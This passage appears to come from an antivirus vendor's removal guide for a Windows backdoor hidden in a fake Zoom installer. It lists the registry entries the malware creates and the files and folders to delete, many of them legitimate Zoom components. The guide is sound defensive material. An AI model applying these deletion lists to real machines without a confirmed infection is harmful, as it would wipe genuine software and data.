  • In HKEY_CURRENT_USER\Software\MozillaPlugins\@zoom.us/ZoomVideoPlugin
    • Path = "%Application Data%\Zoom\bin\npzoomplugin.dll"
  • In HKEY_CURRENT_USER\Software\MozillaPlugins\@zoom.us/ZoomVideoPlugin
    • ProductName = "Zoom Video Plugin"
  • In HKEY_CURRENT_USER\Software\MozillaPlugins\@zoom.us/ZoomVideoPlugin
    • Description = "Zoom Video Plugin"
  • In HKEY_CURRENT_USER\Software\MozillaPlugins\@zoom.us/ZoomVideoPlugin
    • Vendor = "Zoom Video Communications, Inc."
  • In HKEY_CURRENT_USER\Software\Classes\.zoommtg
    • (Default) = "ZoomLauncher"
  • In HKEY_CURRENT_USER\Software\Classes\.zoommtg
    • Content Type = "application/x-zoommtg-launcher"
  • In HKEY_CURRENT_USER\Software\Classes\ZoomLauncher
    • (Default) = "Zoom Launcher - 3.0.1"
  • In HKEY_CURRENT_USER\Software\Classes\ZoomLauncher\shell\open\command
    • (Default) = "%Application Data%\Zoom\bin\Zoom.exe --url=%1"
  • In HKEY_CURRENT_USER\Software\Classes\MIME\Database\Content Type\application/x-zoommtg-launcher
    • Extension = ".zoommtg"
  • In HKEY_CURRENT_USER\Software\Classes\zoommtg
    • (Default) = "URL:Zoom Launcher"
  • In HKEY_CURRENT_USER\Software\Classes\zoommtg
    • URL Protocol = ""
  • In HKEY_CURRENT_USER\Software\Classes\zoommtg
    • UseOriginalUrlEncoding = "1"
  • In HKEY_CURRENT_USER\Software\Classes\zoommtg\DefaultIcon
    • (Default) = "%Application Data%\Zoom\bin\Zoom.exe,1"
  • In HKEY_CURRENT_USER\Software\Classes\zoommtg\shell\open\command
    • (Default) = "%Application Data%\Zoom\bin\Zoom.exe --url=%1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer
    • GlobalAssocChangedCounter = "12"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • notification = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • Security = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • General = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gz
    • Certificates = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayName = "installer 20.0.9800.1720"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayVersion = "20.0.9800.1720"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • VersionMajor = "20"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • VersionMinor = "0"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • Publisher = "Company Inc."
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • DisplayIcon = "%User Temp%\Company Inc.\installer\Uninstall.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • UninstallString = "%User Temp%\Company Inc.\installer\Uninstall.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallLocation = "%User Temp%\Company Inc.\installer"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallSource = "%Windows%\SysWOW64\drivers"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • InstallDate = "20200109"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • Language = "1049"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • EstimatedSize = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • NoModify = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720
    • NoRepair = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer
    • GlobalAssocChangedCounter = "13"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer
    • GlobalAssocChangedCounter = "14"

Step 4

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\Zoom\bin\util.dll
  • %Application Data%\Zoom\zoom_install_src\mcm.dll
  • %Application Data%\Zoom\bin\record_stop.pcm
  • %Application Data%\Zoom\zoom_install_src\leave.pcm
  • %Application Data%\Zoom\bin\leave.pcm
  • %Application Data%\Zoom\uninstall\Installer.exe
  • %Application Data%\Zoom\bin\zCrashReport.exe
  • %Application Data%\Zoom\zoom_install_src\asproxy.dll
  • %Application Data%\Zoom\bin\zTscoder.exe
  • %User Temp%\7zS8C40EAE9\Zoom.msi
  • %System%\drivers\libeay32.dll
  • %Application Data%\Zoom\zoom_install_src\zcacert.pem
  • %Application Data%\Zoom\data\zoomus.tmp.db
  • %Application Data%\Zoom\zoom_install_src\npzoomplugin.dll
  • %Application Data%\Zoom\bin\Zoom.exe
  • %Application Data%\Zoom\zoom_install_src\ring.pcm
  • %Application Data%\Zoom\bin\asproxy.dll
  • %System%\drivers\install.exe
  • %Application Data%\Zoom\zoom_install_src\zCrashReport.exe
  • %Application Data%\Zoom\zoom_install_src\reslib.dll
  • %Application Data%\Zoom\bin\record_start.pcm
  • %Application Data%\Zoom\zoom_install_src\dingdong1.pcm
  • %Application Data%\Zoom\bin\msaalib.dll
  • %Application Data%\Zoom\bin\zWebService.dll
  • %Application Data%\Zoom\bin\zcacert.pem
  • %Application Data%\Zoom\zoom_install_src\zChatUI.dll
  • %Application Data%\Zoom\bin\dingdong1.pcm
  • %Application Data%\Zoom\bin\turbojpeg.dll
  • %Application Data%\Zoom\zoom_install_src\zVideoUI.dll
  • %Application Data%\Zoom\zoom_install_src\zzhost.dll
  • %Application Data%\Zoom\bin\aomagent.dll
  • %Application Data%\Zoom\bin\meeting_raisehand_chime.pcm
  • %Application Data%\Zoom\bin\CptInstall.exe
  • %Application Data%\Zoom\zoom_install_src\zChatApp.dll
  • %Application Data%\Zoom\bin\Droplet.pcm
  • %Application Data%\Zoom\zoom_install_src\XmppDll.dll
  • %Application Data%\Zoom\bin\reslib.dll
  • %Application Data%\Zoom\bin\dingdong.pcm
  • %Start Menu%\Programs\Zoom\Start Zoom.lnk
  • %Application Data%\Zoom\installer.txt
  • %Application Data%\Zoom\zoom_install_src\tp.dll
  • %Start Menu%\Programs\Zoom\Uninstall Zoom.lnk
  • %Application Data%\Zoom\zoom_install_src\record_start.pcm
  • %Application Data%\Zoom\bin\CptService.exe
  • %Application Data%\Zoom\bin\zzhost.dll
  • %Application Data%\Zoom\bin\CmmBrowserEngine.dll
  • %Application Data%\Zoom\bin\XmppDll.dll
  • %Application Data%\Zoom\zoom_install_src\msaalib.dll
  • %Application Data%\Zoom\zoom_install_src\DuiLib.dll
  • %Application Data%\Zoom\zoom_install_src\nanosvg_LICENSE.txt
  • %Application Data%\Zoom\bin\zCrashReport.dll
  • %Application Data%\Zoom\zoom_install_src\meeting_chat_chime.pcm
  • %Application Data%\Zoom\zoom_install_src\CptControl.exe
  • %Application Data%\Zoom\bin\zChatApp.dll
  • %Application Data%\Zoom\zoom_install_src\libcrypto-1_1.dll
  • %Application Data%\Zoom\bin\crashrpt_lang.ini
  • %Application Data%\Zoom\zoom_install_src\zCrashReport.dll
  • %Application Data%\Zoom\bin\DuiLib.dll
  • %Application Data%\Zoom\data\Zoom.us.ini
  • %Application Data%\Zoom\zoom_install_src\ZoomInstall.xml
  • %User Temp%\Zoom Meetings\5.0.1\setup.exe
  • %User Temp%\101.ico
  • %Application Data%\Zoom\zoom_install_src\zVideoApp.dll
  • %Application Data%\Zoom\bin\CptShare.dll
  • %Application Data%\Zoom\data\client.config
  • %Application Data%\Zoom\zoom_install_src\zWebService.dll
  • %Application Data%\Zoom\zoom_install_src\CptService.exe
  • %Application Data%\Zoom\data\zoomus.db
  • %Application Data%\Zoom\bin\nanosvg_LICENSE.txt
  • %Application Data%\Zoom\bin\zAutoUpdate.dll
  • %Application Data%\Zoom\bin\libcrypto-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\ssb_sdk.dll
  • %Application Data%\Zoom\zoom_install_src\libfaac.dll
  • %System%\drivers\ssleay32.dll
  • %Application Data%\Zoom\bin\viper.dll
  • %Application Data%\Zoom\bin\Cmmlib.dll
  • %Application Data%\Zoom\zoom_install_src\DllSafeCheck.dll
  • %Application Data%\Zoom\bin\npzoomplugin.dll
  • %Application Data%\Zoom\zoom_install_src\libssl-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\CptHost.exe
  • %Application Data%\Zoom\bin\Zoom_launcher.exe
  • %Application Data%\Zoom\zoom_install_src\zAutoUpdate.dll
  • %Application Data%\Zoom\bin\duilib_license.txt
  • %User Temp%\CptShare.dll
  • %Application Data%\Zoom\bin\zData.dll
  • %Application Data%\Zoom\zoom_install_src\Installer.exe
  • %Application Data%\Zoom\bin\annoter.dll
  • %Application Data%\Zoom\zoom_install_src\zmb.dll
  • %Application Data%\Zoom\bin\zlt.dll
  • %Application Data%\Zoom\zoom_install_src\meeting_raisehand_chime.pcm
  • %Application Data%\Zoom\bin\zChatUI.dll
  • %Application Data%\Zoom\zoom_install_src\zlt.dll
  • %Application Data%\Zoom\bin\zWinRes.dll
  • %Application Data%\Zoom\zoom_install_src\CptShare.dll
  • %AppDataLocal%\GDIPFONTCACHEV1.DAT
  • %Application Data%\Zoom\zoom_install_src\duilib_license.txt
  • %Application Data%\Zoom\zoom_install_src\aomagent.dll
  • %Application Data%\Zoom\zoom_install_src\Zoom_launcher.exe
  • %Application Data%\Zoom\zoom_install_src\turbojpeg.dll
  • %Application Data%\Zoom\zoom_install_src\Droplet.pcm
  • %Application Data%\Zoom\bin\DllSafeCheck.dll
  • %Application Data%\Zoom\bin\ring.pcm
  • %Application Data%\Zoom\zoom_install_src\nydus.dll
  • %Application Data%\Zoom\bin\zVideoUI.dll
  • %Application Data%\Zoom\bin\nydus.dll
  • %User Temp%\Zoom Meetings\5.0.1\reg.exe
  • %Application Data%\Zoom\bin\zmb.dll
  • %Application Data%\Zoom\zoom_install_src\zWinRes.dll
  • %System%\drivers\svch\xc3\xaest.exe
  • %Application Data%\Zoom\zoom_install_src\CmmBrowserEngine.dll
  • %Application Data%\Zoom\bin\Installer.exe
  • %Application Data%\Zoom\zoom_install_src\record_stop.pcm
  • %Application Data%\Zoom\bin\ssb_sdk.dll
  • %Application Data%\Zoom\bin\libfaac.dll
  • %Application Data%\Zoom\bin\zVideoApp.dll
  • %Application Data%\Zoom\zoom_install_src\annoter.dll
  • %Application Data%\Zoom\zoom_install_src\dingdong.pcm
  • %Application Data%\Zoom\zoom_install_src\zTscoder.exe
  • %Application Data%\Zoom\bin\mcm.dll
  • %Application Data%\Zoom\bin\CptHost.exe
  • %Application Data%\Zoom\appsafecheck.txt
  • %Application Data%\Zoom\zoom_install_src\util.dll
  • %Application Data%\Zoom\zoom_install_src\zData.dll
  • %Application Data%\Zoom\zoom_install_src\Cmmlib.dll
  • %User Temp%\7zS8C40EAE9\Installer.exe
  • %Desktop%\Start Zoom.lnk
  • %Application Data%\Zoom\bin\directui_license.txt
  • %Application Data%\Zoom\zoom_install_src\directui_license.txt
  • %Application Data%\Zoom\bin\libssl-1_1.dll
  • %Application Data%\Zoom\zoom_install_src\crashrpt_lang.ini
  • %Application Data%\Zoom\zoom_install_src\viper.dll
  • %Application Data%\Zoom\zoom_install_src\CptInstall.exe
  • %Application Data%\Zoom\bin\meeting_chat_chime.pcm
  • %Application Data%\Zoom\bin\ZoomInstall.xml
  • %Application Data%\Zoom\zoom_install_src\Zoom.exe
  • %Application Data%\Zoom\bin\CptControl.exe
  • %Application Data%\Zoom\bin\tp.dll

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Application Data%\Zoom\zoom_install_src
  • %Application Data%\Zoom\bin
  • %User Temp%\Zoom Meetings\5.0.1
  • %User Temp%\7zS8C40EAE9
  • %Application Data%\Zoom
  • %User Temp%\$inst
  • %Start Menu%\Programs\Zoom
  • %User Temp%\Zoom Meetings
  • %Application Data%\Zoom\uninstall
  • %Application Data%\Zoom\logs
  • %Application Data%\Zoom\data
  • %Application Data%\Zoom\reports

Step 6

Scan your computer with your Trend Micro product to delete files detected as Backdoor.Win32.ZAPIZ.THDBABO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Application Data%\Zoom\logs\zoo1A53.tmp
  • %Application Data%\Zoom\data\zoomus.db-journal
  • %Application Data%\Zoom\logs\zooDFC3.tmp
  • %Application Data%\Zoom\logs\zoo1F90.tmp
  • %Application Data%\Zoom\data\zoomus.tmp.db-journal


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